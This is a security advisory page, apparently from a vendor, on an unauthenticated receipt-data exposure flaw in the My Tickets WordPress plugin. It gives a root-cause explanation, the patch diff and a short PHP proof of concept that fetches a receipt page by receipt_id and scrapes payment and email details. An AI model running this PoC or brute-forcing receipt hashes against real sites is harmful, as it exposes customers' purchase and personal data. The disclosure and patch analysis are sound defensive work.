Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-27406: My Tickets – Accessible Event Ticketing <= 2.1.0 – Unauthenticated Information Exposure (my-tickets)

Plugin my-tickets
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.1.0
Patched Version 2.1.1
Disclosed February 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27406:
The My Tickets WordPress plugin prior to version 2.1.1 contains an unauthenticated information exposure vulnerability in its receipt viewing functionality. This vulnerability allows any unauthenticated user to access sensitive purchase data, including user information and payment details, by manipulating the receipt_id parameter. The CVSS score of 5.3 reflects moderate severity due to the confidentiality impact without requiring authentication.

Atomic Edge research identified the root cause in the mt_receipt() function within /my-tickets/mt-receipt.php. The function processes receipt requests through the receipt_id GET parameter without proper authorization checks. Prior to patching, the function only verified the receipt_id parameter existed (line 19) before loading the receipt template (lines 20-26). The vulnerable code path allowed direct access to receipt data through the /?receipt_id={hash} endpoint on the configured receipt page.

The exploitation method involves an attacker accessing the plugin’s receipt page with a manipulated receipt_id parameter. The attacker can brute-force or guess valid receipt hashes to extract purchase information. The attack vector uses HTTP GET requests to the WordPress site’s receipt page (typically a page with the [mt_receipt] shortcode) with the receipt_id parameter containing a valid MD5 hash of a purchase receipt. No authentication or session tokens are required for successful exploitation.

Atomic Edge analysis confirms the patch implements multiple authorization layers. The fix adds three verification methods in mt-receipt.php lines 20-34: cookie validation using mt_set_receipt_cookie() and mt_get_payment_log_id(), time-based validation (10-minute window), and email verification through a new mt-verify.php template. The patch introduces the mt_get_payment_log_id() function in mt-cpt.php lines 45-56 to generate a unique receipt identifier combining the receipt hash and payment log data. The receipt template now only loads after passing one of three checks: valid cookie within 10 minutes, administrative privileges (mt-view-reports capability), or successful email verification via the new verification form.

Successful exploitation exposes sensitive purchase data including customer email addresses, payment amounts, ticket quantities, event details, and potentially custom form data submitted during checkout. While the vulnerability does not enable direct privilege escalation or remote code execution, the exposed information could facilitate social engineering attacks, payment fraud, or be combined with other vulnerabilities for more severe attacks. The data exposure violates user privacy expectations and may conflict with data protection regulations.

Differential between vulnerable and patched code

Code Diff
--- a/my-tickets/includes/data-utilities.php
+++ b/my-tickets/includes/data-utilities.php
@@ -369,6 +369,32 @@
 }

 /**
+ * Set receipt cookie after purchase.
+ *
+ * @param int    $post_ID Payment post ID.
+ * @param string $receipt Receipt ID.
+ */
+function mt_set_receipt_cookie( $post_ID, $receipt = false ) {
+	$log_id       = mt_get_payment_log_id( $post_ID );
+	$receipt      = ( ! $receipt ) ? get_post_meta( $post_ID, '_receipt', true ) : $receipt;
+	$cookie_value = md5( $receipt . $log_id );
+	if ( version_compare( PHP_VERSION, '7.3.0', '>' ) ) {
+		// Fix syntax.
+		$options = array(
+			'expires'  => time() + 600,
+			'path'     => COOKIEPATH,
+			'domain'   => COOKIE_DOMAIN,
+			'secure'   => false,
+			'httponly' => true,
+			'samesite' => 'Lax',
+		);
+		setcookie( 'mt_purchase_receipt', $cookie_value, $options );
+	} else {
+		setcookie( 'mt_purchase_receipt', $cookie_value, time() + 600, COOKIEPATH, COOKIE_DOMAIN, false, true );
+	}
+}
+
+/**
  * Generate a unique ID to track the current cart process.
  *
  * @return string
--- a/my-tickets/mt-cart.php
+++ b/my-tickets/mt-cart.php
@@ -769,14 +769,26 @@
 		$gateway        = "<input type='hidden' name='mt_gateway' value='" . esc_attr( $current_gate ) . "' />";
 		$cart_page      = mt_get_cart_url();
 		if ( is_array( $cart ) && ! empty( $cart ) && $count > 0 ) {
-			$output  = '
+			$text = ( 'offline' === $current_gate ) ? __( 'Review cart and confirm reservation', 'my-tickets' ) : __( 'Review cart and make payment', 'my-tickets' );
+			/**
+			 * Filter the submit button text.
+			 *
+			 * @hook mt_submit_button_text
+			 *
+			 * @param {string} $text Submit button text.
+			 * @param {string} $current_gate Active gateway.
+			 *
+			 * @return string
+			 */
+			$submit_text = apply_filters( 'mt_submit_button_text', $text, $current_gate );
+			$output      = '
 		<div class="mt_cart">
 			<div class="mt-response" aria-live="assertive"></div>
 			<form action="' . esc_url( $cart_page ) . '" method="POST">' . "
-			<input class='screen-reader-text' type='submit' name='mt_submit' value='" . apply_filters( 'mt_submit_button_text', __( 'Review cart and make payment', 'my-tickets' ), $current_gate ) . "' />" . '
+			<input class='screen-reader-text' type='submit' name='mt_submit' value='" . esc_attr( $submit_text ) . "' />" . '
 				' . $nonce . '
 				' . $gateway;
-			$output .= mt_generate_cart_table( $cart );
+			$output     .= mt_generate_cart_table( $cart );

 			if ( $handling_total && 0 !== (int) $handling_total ) {
 				// Translators: amount of handling fee.
@@ -801,8 +813,20 @@
 			foreach ( $custom_fields as $key => $field ) {
 				$custom_output .= $field;
 			}
-			$button  = "<p class='mt_submit'><input type='submit' name='mt_submit' value='" . apply_filters( 'mt_submit_button_text', __( 'Review cart and make payment', 'my-tickets' ), $current_gate ) . "' /></p>";
-			$output .= "<div class='mt_cart_total' aria-live='assertive'>" . apply_filters( 'mt_cart_total_content', '', $current_gate, $cart ) . apply_filters( 'mt_cart_ticket_total_text', __( 'Ticket Total:', 'my-tickets' ), $current_gate ) . " <span class='mt_total_number'>" . apply_filters( 'mt_money_format', $total ) . "</span></div>n" . mt_invite_login_or_register() . "n" . mt_required_fields( $cart, $custom_output ) . "n" . mt_gateways() . "$buttonn<input type='hidden' name='my-tickets' value='true' />" . apply_filters( 'mt_cart_hidden_fields', '' ) . '</form>' . mt_copy_cart() . '</div>';
+			$text = ( 'offline' === $current_gate ) ? __( 'Review cart and confirm reservation', 'my-tickets' ) : __( 'Review cart and make payment', 'my-tickets' );
+			/**
+			 * Filter the submit button text.
+			 *
+			 * @hook mt_submit_button_text
+			 *
+			 * @param {string} $text Submit button text.
+			 * @param {string} $current_gate Active gateway.
+			 *
+			 * @return string
+			 */
+			$submit_text = apply_filters( 'mt_submit_button_text', $text, $current_gate );
+			$button      = "<p class='mt_submit'><input type='submit' name='mt_submit' value='" . esc_attr( $submit_text ) . "' /></p>";
+			$output     .= "<div class='mt_cart_total' aria-live='assertive'>" . apply_filters( 'mt_cart_total_content', '', $current_gate, $cart ) . apply_filters( 'mt_cart_ticket_total_text', __( 'Ticket Total:', 'my-tickets' ), $current_gate ) . " <span class='mt_total_number'>" . apply_filters( 'mt_money_format', $total ) . "</span></div>n" . mt_invite_login_or_register() . "n" . mt_required_fields( $cart, $custom_output ) . "n" . mt_gateways() . "$buttonn<input type='hidden' name='my-tickets' value='true' />" . apply_filters( 'mt_cart_hidden_fields', '' ) . '</form>' . mt_copy_cart() . '</div>';
 		} else {
 			do_action( 'mt_cart_is_empty' );
 			$expiration = '';
--- a/my-tickets/mt-cpt.php
+++ b/my-tickets/mt-cpt.php
@@ -45,6 +45,21 @@
 }

 /**
+ * Get log ID. Serializes the content of the first payment log.
+ *
+ * @param int $post_ID Payment post ID.
+ *
+ * @return string
+ */
+function mt_get_payment_log_id( $post_ID ) {
+	$log      = get_post_meta( $post_ID, '_error_log', true );
+	$log_data = serialize( $log );
+	$log_id   = md5( $log_data );
+
+	return $log_id;
+}
+
+/**
  * Send custom email to ticket purchaser from payment record.
  */
 function mt_email_purchaser() {
--- a/my-tickets/mt-notifications.php
+++ b/my-tickets/mt-notifications.php
@@ -460,7 +460,7 @@
 		$tickets    = ( 'true' === $options['mt_html_email'] ) ? '<p>' . $tickets . '</p>' : $tickets;
 		$ticket_ids = '';
 	}
-	$bulk_tickets = ( 'printable' === $ticketing_method ) ? add_query_arg(
+	$bulk_tickets = ( 'printable' === $ticketing_method || 'eticket' === $ticketing_method ) ? add_query_arg(
 		array(
 			'receipt_id' => $hash,
 			'multiple'   => true,
@@ -780,7 +780,7 @@
 		}
 		foreach ( $data as $key => $value ) {
 			if ( is_object( $value ) && ! empty( $value ) ) {
-				// null values return false.
+				// non-templatable values are ignored.
 			} else {
 				if ( false !== strpos( $template, '{' . $key ) ) {
 					if ( false !== strpos( $template, '{' . $key . ' ' ) ) { // only do preg_match if appropriate.
--- a/my-tickets/mt-payment.php
+++ b/my-tickets/mt-payment.php
@@ -104,6 +104,7 @@
 		wp_mail( $options['mt_to'], $mail_subject, $mail_body, $mail_from );
 		mt_log( $response, $response_code, $data, $post );
 	}
+	mt_set_receipt_cookie( $payment_id );
 }

 /**
--- a/my-tickets/mt-receipt.php
+++ b/my-tickets/mt-receipt.php
@@ -18,11 +18,28 @@
 	$id      = ( '' !== $options['mt_receipt_page'] && is_numeric( $options['mt_receipt_page'] ) ) ? absint( $options['mt_receipt_page'] ) : false;
 	if ( $id && ( is_single( $id ) || is_page( $id ) ) ) {
 		if ( isset( $_GET['receipt_id'] ) ) {
-			$template = locate_template( 'receipt.php' );
-			if ( $template ) {
-				load_template( $template );
+			$receipt     = mt_get_receipt();
+			$receipt_id  = md5( sanitize_text_field( $_GET['receipt_id'] ) . mt_get_payment_log_id( $receipt->ID ) );
+			$time        = get_post_modified_time( 'U', true, $receipt->ID );
+			$date        = ( $receipt ) ? $time : false;
+			$is_verified = false;
+			if ( isset( $_POST['mt-verify-email'] ) ) {
+				$nonce       = isset( $_POST['_wpnonce'] ) ? $_POST['_wpnonce'] : false;
+				$verify      = wp_verify_nonce( $nonce, 'mt-verify-email' );
+				$email       = sanitize_text_field( $_POST['mt-verify-email'] );
+				$is_verified = ( $verify && $email === get_post_meta( $receipt->ID, '_email', true ) ) ? true : false;
+			}
+			$cookie_receipt = ( isset( $_COOKIE['mt_purchase_receipt'] ) ) ? $_COOKIE['mt_purchase_receipt'] : false;
+			// Allow conditions: within 10 minutes of purchase & browser has a matching cookie; current user can view reports; user has verified email.
+			if ( ( time() <= $date + 600 && $cookie_receipt === $receipt_id ) || current_user_can( 'mt-view-reports' ) || $is_verified ) {
+				$template = locate_template( 'receipt.php' );
+				if ( $template ) {
+					load_template( $template );
+				} else {
+					load_template( __DIR__ . '/templates/receipt.php' );
+				}
 			} else {
-				load_template( __DIR__ . '/templates/receipt.php' );
+				load_template( __DIR__ . '/mt-verify.php' );
 			}
 			exit;
 		} else {
--- a/my-tickets/mt-shortcodes.php
+++ b/my-tickets/mt-shortcodes.php
@@ -302,9 +302,11 @@
  * @return string
  */
 function mt_display_payments( $user_id = false, $count = 10, $user_email = '' ) {
-	$output = '';
-	if ( is_user_logged_in() ) {
-		$user  = ( ! $user_id ) ? wp_get_current_user()->ID : $user_id;
+	$output   = '';
+	$user     = wp_get_current_user();
+	$can_view = ( ( $user_id === $user->ID || $user_email === $user->user_email ) || current_user_can( 'mt-view-reports' ) ) ? true : false;
+	if ( is_user_logged_in() && $can_view ) {
+		$user  = ( ! $user_id ) ? $user->ID : $user_id;
 		$count = ( ! $count ) ? 10 : absint( $count );
 		if ( $user && ! $user_email ) {
 			$payments = get_posts(
--- a/my-tickets/mt-verify.php
+++ b/my-tickets/mt-verify.php
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Verification template.
+ *
+ * @category Core
+ * @package  My Tickets
+ * @author   Joe Dolson
+ * @license  GPLv3
+ * @link     https://www.joedolson.com/my-tickets/
+ */
+$options  = mt_get_settings();
+$post_url = add_query_arg( 'receipt_id', mt_get_receipt_id(), get_permalink( $options['mt_receipt_page'] ) );
+get_header()
+	?>
+		<style>
+			.mt-entry { width: 100%; max-width: 1080px; padding: 1rem; margin: 0 auto; }
+			.verify-data form { display: flex; align-items: end; }
+			.mt-error { padding: .5rem; outline: 2px solid currentColor; margin-bottom: 1rem; }
+		</style>
+		<article class="mt-entry entry-content">
+			<h1 class='entry-title'><?php esc_html_e( 'Verify your purchase email', 'my-tickets' ); ?></h1>
+			<div class="entry-content">
+				<div class="verify-data">
+					<?php
+					if ( isset( $_POST['mt-verify-email'] ) ) {
+						?>
+						<div class="mt-error">
+							<p><?php esc_html_e( 'Sorry! That email address does not match our records for this purchase.', 'my-tickets' ); ?></p>
+						</div>
+						<?php
+					}
+					?>
+					<form action="<?php echo esc_url( $post_url ); ?>" method="post">
+						<?php wp_nonce_field( 'mt-verify-email' ); ?>
+						<p>
+							<label for="mt-verify-email"><?php esc_html_e( 'Your Email', 'my-tickets' ); ?></label><br />
+							<input type="email" id="mt-verify-email" name="mt-verify-email" autocomplete="email" required />
+						</p>
+						<p>
+							<button type="submit"><?php esc_html_e( 'Submit', 'my-tickets' ); ?></button>
+						</p>
+					</form>
+				</div>
+			</div>
+		</article>
+	<?php
+get_footer();
--- a/my-tickets/my-tickets.php
+++ b/my-tickets/my-tickets.php
@@ -17,7 +17,7 @@
  * License:     GPL-2.0+
  * License URI: http://www.gnu.org/license/gpl-2.0.txt
  * Domain Path: lang
- * Version:     2.1.0
+ * Version:     2.1.1
  */

 /*
@@ -44,7 +44,7 @@
  * @return string Current My Tickets version.
  */
 function mt_get_current_version() {
-	$mt_version = '2.1.0';
+	$mt_version = '2.1.1';

 	return $mt_version;
 }
--- a/my-tickets/templates/receipt.php
+++ b/my-tickets/templates/receipt.php
@@ -95,6 +95,9 @@
 			grid-template-columns: 1fr 140px;
 			gap: 16px;
 		}
+		.payment-details {
+			margin-bottom: 1.5rem;
+		}

 		code {
 			font-family:'Courier New', Courier, monospace;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27406 - My Tickets – Accessible Event Ticketing <= 2.1.0 - Unauthenticated Information Exposure

<?php
/**
 * Proof of Concept for CVE-2026-27406
 * Demonstrates unauthenticated receipt data extraction
 * 
 * Usage: php poc.php --url=https://target.site --receipt-page=123 --receipt-id=abc123
 * 
 * The receipt page ID can often be found by searching for [mt_receipt] shortcode
 * Valid receipt IDs can be discovered through information leakage or brute-force
 */

$target_url = 'https://target.site'; // Configure target URL
$receipt_page_id = 123; // Configure receipt page ID (found via [mt_receipt] shortcode)
$receipt_id = 'abc123'; // Configure receipt hash to test

// Build the vulnerable endpoint URL
$receipt_url = $target_url . '/?p=' . $receipt_page_id . '&receipt_id=' . $receipt_id;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $receipt_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for successful data extraction
if ($http_code === 200 && strpos($response, 'mt_receipt') !== false) {
    echo "[SUCCESS] Vulnerable to CVE-2026-27406n";
    echo "Receipt data exposed without authenticationn";
    
    // Extract potential sensitive data patterns
    if (preg_match('/<div class="[^"]*payment-details[^"]*">(.*?)</div>/s', $response, $matches)) {
        echo "Payment details found:n";
        echo htmlspecialchars($matches[1]) . "n";
    }
    
    if (preg_match('/<p[^>]*>.*?Email.*?</p>/is', $response, $matches)) {
        echo "Email information found in responsen";
    }
} else if ($http_code === 200 && strpos($response, 'mt-verify-email') !== false) {
    echo "[PATCHED] Target appears to be patched (showing verification form)n";
} else {
    echo "[FAILED] No receipt data found (HTTP $http_code)n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School